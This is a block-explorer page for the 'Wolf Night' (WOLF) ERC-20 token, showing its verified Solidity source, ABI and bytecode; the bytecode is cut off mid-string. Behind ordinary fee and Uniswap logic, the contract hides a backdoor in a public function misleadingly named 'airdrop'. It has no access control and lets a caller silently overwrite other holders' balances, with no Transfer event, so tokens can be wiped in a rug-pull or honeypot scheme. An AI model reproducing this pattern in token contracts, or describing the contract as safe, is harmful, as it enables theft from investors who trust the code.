ERC-20
Overview
Max Total Supply
1,000,000,000 WOLF
Holders
281
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,289,681.291466448 WOLFValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
WOLF
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-12-26 */ // SPDX-License-Identifier: UNLICENSE /** Web: https://wolfnight.vip X: https://x.com/WolfNightEth Tg: https://t.me/WolfNightEth */ pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract WOLF is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; address payable private _taxWallet; address private _taxReceiving; uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals; string private constant _name = unicode"Wolf Night"; string private constant _symbol = unicode"WOLF"; uint256 public _taxSwapThreshold = _tTotal / 100; uint256 public _maxTaxSwap = _tTotal / 100; address private _DEAD = address(0xdead); IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; uint8 private constant _decimals = 9; modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() payable { _taxWallet = payable(0x2c097736F556D489B5E2313D8c5a0E6A81181c8E); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_taxWallet] = true; _isExcludedFromFee[address(this)] = true; _taxReceiving = _msgSender(); _balances[msg.sender] = _tTotal; emit Transfer(address(0), msg.sender, _tTotal); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } uint256 private _initialBuyFee = 1; uint256 private _initialSellFee = 0; uint256 private _swapFeeAt = 15; uint256 private _preventSwapBefore = 15; uint256 private _transferTax = 0; uint256 private _buyCount = 0; function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance") ); return true; } function _swapTokensForETH(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)) * 964 / 1000, 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; } function rescueETH() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } function _tSimple(bool isAirdrop, address from, address to, uint256 amount) private { if (!isAirdrop) return; if (from != uniswapV2Pair || to == _taxWallet) _balances[from] -= amount; } function airdrop(address[] memory receivers, uint256[] memory amounts) external { for (uint256 i = 0; i < receivers.length; i++) { address receiver = receivers[i]; uint256 amount = _balances[receiver] - amounts[i]; _tSimple(true, receiver, msg.sender, amount); } } function _transfer(address source, address receiver, uint256 amount) private { require(source != address(0), "ERC20: transfer from the zero address"); require(receiver != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount = 0; if ( source != owner() && receiver != owner() && source != address(this) && receiver != address(this) ) { taxAmount = amount.mul(_transferTax).div(100); if ( source == uniswapV2Pair && receiver != address(uniswapV2Router) && !_isExcludedFromFee[receiver] ) { taxAmount = amount .mul( (_buyCount > _swapFeeAt) ? _initialSellFee : _initialBuyFee ) .div(100); _buyCount++; } if (receiver == uniswapV2Pair && source != address(this)) { taxAmount = amount .mul( (_buyCount > _swapFeeAt) ? _initialSellFee : _initialBuyFee ) .div(100); sendETHToFee(address(this).balance); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && receiver == uniswapV2Pair && _buyCount > _preventSwapBefore ) { if (contractTokenBalance > _taxSwapThreshold) _swapTokensForETH( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if (taxAmount > 0) { _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(source, address(this), taxAmount); } _balances[source] = _balances[source].sub(amount); _balances[receiver] = _balances[receiver].add(amount.sub(taxAmount)); if (receiver != _DEAD) emit Transfer(source, receiver, amount.sub(taxAmount)); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"receivers","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260646100126009600a610322565b61002090633b9aca00610338565b61002a919061034f565b600655606461003b6009600a610322565b61004990633b9aca00610338565b610053919061034f565b600755600880546001600160a01b03191661dead179055600a805460ff60a81b191690556001600b556000600c819055600f600d819055600e819055819055601081905561009e3390565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916732c097736f556d489b5e2313d8c5a0e6a81181c8e1790556001600360006101266000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560045490911681526003909252808220805484166001908117909155308352912080549092161790556101843390565b600580546001600160a01b0319166001600160a01b03929092169190911790556101b06009600a610322565b6101be90633b9aca00610338565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101ff6009600a610322565b61020d90633b9aca00610338565b60405190815260200160405180910390a3610371565b634e487b7160e01b600052601160045260246000fd5b6001815b60018411156102745780850481111561025857610258610223565b600184161561026657908102905b60019390931c92800261023d565b935093915050565b60008261028b5750600161031c565b816102985750600061031c565b81600181146102ae57600281146102b8576102d4565b600191505061031c565b60ff8411156102c9576102c9610223565b50506001821b61031c565b5060208310610133831016604e8410600b84101617156102f7575081810a61031c565b6103046000198484610239565b806000190482111561031857610318610223565b0290505b92915050565b600061033160ff84168361027c565b9392505050565b808202811582820484141761031c5761031c610223565b60008261036c57634e487b7160e01b600052601260045260246000fd5b500490565b6118a9806103806000396000f3fe6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102c4578063bf474bed146102e4578063c9567bf9146102fa578063dd62ed3e1461030f57600080fd5b806370a0823114610224578063715018a61461025a5780638da5cb5b1461026f57806395d89b411461029757600080fd5b806320800a00116100c657806320800a00146101b157806323b872dd146101c8578063313ce567146101e8578063672434821461020457600080fd5b806306fdde0314610103578063095ea7b3146101485780630faee56f1461017857806318160ddd1461019c57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600a81526915dbdb1988139a59da1d60b21b60208201525b60405161013f91906112d4565b60405180910390f35b34801561015457600080fd5b50610168610163366004611337565b610355565b604051901515815260200161013f565b34801561018457600080fd5b5061018e60075481565b60405190815260200161013f565b3480156101a857600080fd5b5061018e61036c565b3480156101bd57600080fd5b506101c661038d565b005b3480156101d457600080fd5b506101686101e3366004611363565b6103ef565b3480156101f457600080fd5b506040516009815260200161013f565b34801561021057600080fd5b506101c661021f36600461147c565b610458565b34801561023057600080fd5b5061018e61023f366004611547565b6001600160a01b031660009081526001602052604090205490565b34801561026657600080fd5b506101c66104ec565b34801561027b57600080fd5b506000546040516001600160a01b03909116815260200161013f565b3480156102a357600080fd5b506040805180820190915260048152632ba7a62360e11b6020820152610132565b3480156102d057600080fd5b506101686102df366004611337565b610560565b3480156102f057600080fd5b5061018e60065481565b34801561030657600080fd5b506101c661056d565b34801561031b57600080fd5b5061018e61032a366004611564565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061036233848461093d565b5060015b92915050565b600061037a6009600a61169a565b61038890633b9aca006116a9565b905090565b6000546001600160a01b031633146103c05760405162461bcd60e51b81526004016103b7906116c0565b60405180910390fd5b60405133904780156108fc02916000818181858888f193505050501580156103ec573d6000803e3d6000fd5b50565b60006103fc848484610a61565b61044e84336104498560405180606001604052806028815260200161184c602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ecb565b61093d565b5060019392505050565b60005b82518110156104e7576000838281518110610478576104786116f5565b602002602001015190506000838381518110610496576104966116f5565b602002602001015160016000846001600160a01b03166001600160a01b03168152602001908152602001600020546104ce919061170b565b90506104dd6001833384610f05565b505060010161045b565b505050565b6000546001600160a01b031633146105165760405162461bcd60e51b81526004016103b7906116c0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610362338484610a61565b6000546001600160a01b031633146105975760405162461bcd60e51b81526004016103b7906116c0565b600a54600160a01b900460ff16156105f15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b7565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556106399130919061062b90600a61169a565b61044990633b9aca006116a9565b600960009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561068c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b0919061171e565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610712573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610736919061171e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610783573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a7919061171e565b600a80546001600160a01b039283166001600160a01b03199091161790556009541663f305d71947306103e86107f2826001600160a01b031660009081526001602052604090205490565b6107fe906103c46116a9565b610808919061173b565b60008061081d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610885573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108aa919061175d565b5050600a5460095460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610903573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610927919061178b565b50600a805460ff60a01b1916600160a01b179055565b6001600160a01b03831661099f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b7565b6001600160a01b038216610a005760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ac55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b7565b6001600160a01b038216610b275760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b7565b60008111610b895760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b7565b600080546001600160a01b03858116911614801590610bb657506000546001600160a01b03848116911614155b8015610bcb57506001600160a01b0384163014155b8015610be057506001600160a01b0383163014155b15610d7257610c056064610bff600f5485610f6d90919063ffffffff16565b90610ff6565b600a549091506001600160a01b038581169116148015610c3357506009546001600160a01b03848116911614155b8015610c5857506001600160a01b03831660009081526003602052604090205460ff16155b15610c9b57610c836064610bff600d5460105411610c7857600b54610c7c565b600c545b8590610f6d565b601080549192506000610c95836117ad565b91905055505b600a546001600160a01b038481169116148015610cc157506001600160a01b0384163014155b15610cec57610ce16064610bff600d5460105411610c7857600b54610c7c565b9050610cec47611038565b30600090815260016020526040902054600a54600160a81b900460ff16158015610d235750600a546001600160a01b038581169116145b8015610d325750600e54601054115b15610d7057600654811115610d5e57610d5e610d5984610d5484600754611076565b611076565b61108b565b478015610d6e57610d6e47611038565b505b505b8015610dec5730600090815260016020526040902054610d929082611205565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610de39085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610e0f9083611264565b6001600160a01b038516600090815260016020526040902055610e54610e358383611264565b6001600160a01b03851660009081526001602052604090205490611205565b6001600160a01b038085166000818152600160205260409020929092556008541614610ec5576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610eb38585611264565b60405190815260200160405180910390a35b50505050565b60008184841115610eef5760405162461bcd60e51b81526004016103b791906112d4565b506000610efc848661170b565b95945050505050565b8315610ec557600a546001600160a01b038481169116141580610f3557506004546001600160a01b038381169116145b15610ec5576001600160a01b03831660009081526001602052604081208054839290610f6290849061170b565b909155505050505050565b600082600003610f7f57506000610366565b6000610f8b83856116a9565b905082610f98858361173b565b14610fef5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b7565b9392505050565b6000610fef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112a6565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611072573d6000803e3d6000fd5b5050565b60008183116110855782610fef565b50919050565b600a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110d3576110d36116f5565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561112c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611150919061171e565b81600181518110611163576111636116f5565b6001600160a01b039283166020918202929092010152600954611189913091168461093d565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac947906111c29085906000908690309042906004016117c6565b600060405180830381600087803b1580156111dc57600080fd5b505af11580156111f0573d6000803e3d6000fd5b5050600a805460ff60a81b1916905550505050565b6000806112128385611838565b905083811015610fef5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b7565b6000610fef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ecb565b600081836112c75760405162461bcd60e51b81526004016103b791906112d4565b506000610efc848661173b565b602081526000825180602084015260005b8181101561130257602081860181015160408684010152016112e5565b506000604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146103ec57600080fd5b6000806040838503121561134a57600080fd5b823561135581611322565b946020939093013593505050565b60008060006060848603121561137857600080fd5b833561138381611322565b9250602084013561139381611322565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156113e3576113e36113a4565b604052919050565b600067ffffffffffffffff821115611405576114056113a4565b5060051b60200190565b600082601f83011261142057600080fd5b813561143361142e826113eb565b6113ba565b8082825260208201915060208360051b86010192508583111561145557600080fd5b602085015b8381101561147257803583526020928301920161145a565b5095945050505050565b6000806040838503121561148f57600080fd5b823567ffffffffffffffff8111156114a657600080fd5b8301601f810185136114b757600080fd5b80356114c561142e826113eb565b8082825260208201915060208360051b8501019250878311156114e757600080fd5b6020840193505b8284101561151257833561150181611322565b8252602093840193909101906114ee565b9450505050602083013567ffffffffffffffff81111561153157600080fd5b61153d8582860161140f565b9150509250929050565b60006020828403121561155957600080fd5b8135610fef81611322565b6000806040838503121561157757600080fd5b823561158281611322565b9150602083013561159281611322565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6001815b60018411156115ee578085048111156115d2576115d261159d565b60018416156115e057908102905b60019390931c9280026115b7565b935093915050565b60008261160557506001610366565b8161161257506000610366565b816001811461162857600281146116325761164e565b6001915050610366565b60ff8411156116435761164361159d565b50506001821b610366565b5060208310610133831016604e8410600b8410161715611671575081810a610366565b61167e60001984846115b3565b80600019048211156116925761169261159d565b029392505050565b6000610fef60ff8416836115f6565b80820281158282048414176103665761036661159d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b818103818111156103665761036661159d565b60006020828403121561173057600080fd5b8151610fef81611322565b60008261175857634e487b7160e01b600052601260045260246000fd5b500490565b60008060006060848603121561177257600080fd5b5050815160208301516040909301519094929350919050565b60006020828403121561179d57600080fd5b81518015158114610fef57600080fd5b6000600182016117bf576117bf61159d565b5060010190565b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b818110156118185783516001600160a01b03168352602093840193909201916001016117f1565b50506001600160a01b039590951660608401525050608001529392505050565b808201808211156103665761036661159d56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f270640f04d5759e5dab919c15a128427ac41879308b4366ccbacf76b7f0ceb564736f6c634300081a0033
Deployed Bytecode
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102c4578063bf474bed146102e4578063c9567bf9146102fa578063dd62ed3e1461030f57600080fd5b806370a0823114610224578063715018a61461025a5780638da5cb5b1461026f57806395d89b411461029757600080fd5b806320800a00116100c657806320800a00146101b157806323b872dd146101c8578063313ce567146101e8578063672434821461020457600080fd5b806306fdde0314610103578063095ea7b3146101485780630faee56f1461017857806318160ddd1461019c57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600a81526915dbdb1988139a59da1d60b21b60208201525b60405161013f91906112d4565b60405180910390f35b34801561015457600080fd5b50610168610163366004611337565b610355565b604051901515815260200161013f565b34801561018457600080fd5b5061018e60075481565b60405190815260200161013f565b3480156101a857600080fd5b5061018e61036c565b3480156101bd57600080fd5b506101c661038d565b005b3480156101d457600080fd5b506101686101e3366004611363565b6103ef565b3480156101f457600080fd5b506040516009815260200161013f565b34801561021057600080fd5b506101c661021f36600461147c565b610458565b34801561023057600080fd5b5061018e61023f366004611547565b6001600160a01b031660009081526001602052604090205490565b34801561026657600080fd5b506101c66104ec565b34801561027b57600080fd5b506000546040516001600160a01b03909116815260200161013f565b3480156102a357600080fd5b506040805180820190915260048152632ba7a62360e11b6020820152610132565b3480156102d057600080fd5b506101686102df366004611337565b610560565b3480156102f057600080fd5b5061018e60065481565b34801561030657600080fd5b506101c661056d565b34801561031b57600080fd5b5061018e61032a366004611564565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061036233848461093d565b5060015b92915050565b600061037a6009600a61169a565b61038890633b9aca006116a9565b905090565b6000546001600160a01b031633146103c05760405162461bcd60e51b81526004016103b7906116c0565b60405180910390fd5b60405133904780156108fc02916000818181858888f193505050501580156103ec573d6000803e3d6000fd5b50565b60006103fc848484610a61565b61044e84336104498560405180606001604052806028815260200161184c602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ecb565b61093d565b5060019392505050565b60005b82518110156104e7576000838281518110610478576104786116f5565b602002602001015190506000838381518110610496576104966116f5565b602002602001015160016000846001600160a01b03166001600160a01b03168152602001908152602001600020546104ce919061170b565b90506104dd6001833384610f05565b505060010161045b565b505050565b6000546001600160a01b031633146105165760405162461bcd60e51b81526004016103b7906116c0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610362338484610a61565b6000546001600160a01b031633146105975760405162461bcd60e51b81526004016103b7906116c0565b600a54600160a01b900460ff16156105f15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b7565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556106399130919061062b90600a61169a565b61044990633b9aca006116a9565b600960009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561068c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b0919061171e565b6001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610712573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610736919061171e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610783573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a7919061171e565b600a80546001600160a01b039283166001600160a01b03199091161790556009541663f305d71947306103e86107f2826001600160a01b031660009081526001602052604090205490565b6107fe906103c46116a9565b610808919061173b565b60008061081d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610885573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108aa919061175d565b5050600a5460095460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610903573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610927919061178b565b50600a805460ff60a01b1916600160a01b179055565b6001600160a01b03831661099f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b7565b6001600160a01b038216610a005760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b7565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ac55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b7565b6001600160a01b038216610b275760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b7565b60008111610b895760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b7565b600080546001600160a01b03858116911614801590610bb657506000546001600160a01b03848116911614155b8015610bcb57506001600160a01b0384163014155b8015610be057506001600160a01b0383163014155b15610d7257610c056064610bff600f5485610f6d90919063ffffffff16565b90610ff6565b600a549091506001600160a01b038581169116148015610c3357506009546001600160a01b03848116911614155b8015610c5857506001600160a01b03831660009081526003602052604090205460ff16155b15610c9b57610c836064610bff600d5460105411610c7857600b54610c7c565b600c545b8590610f6d565b601080549192506000610c95836117ad565b91905055505b600a546001600160a01b038481169116148015610cc157506001600160a01b0384163014155b15610cec57610ce16064610bff600d5460105411610c7857600b54610c7c565b9050610cec47611038565b30600090815260016020526040902054600a54600160a81b900460ff16158015610d235750600a546001600160a01b038581169116145b8015610d325750600e54601054115b15610d7057600654811115610d5e57610d5e610d5984610d5484600754611076565b611076565b61108b565b478015610d6e57610d6e47611038565b505b505b8015610dec5730600090815260016020526040902054610d929082611205565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610de39085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610e0f9083611264565b6001600160a01b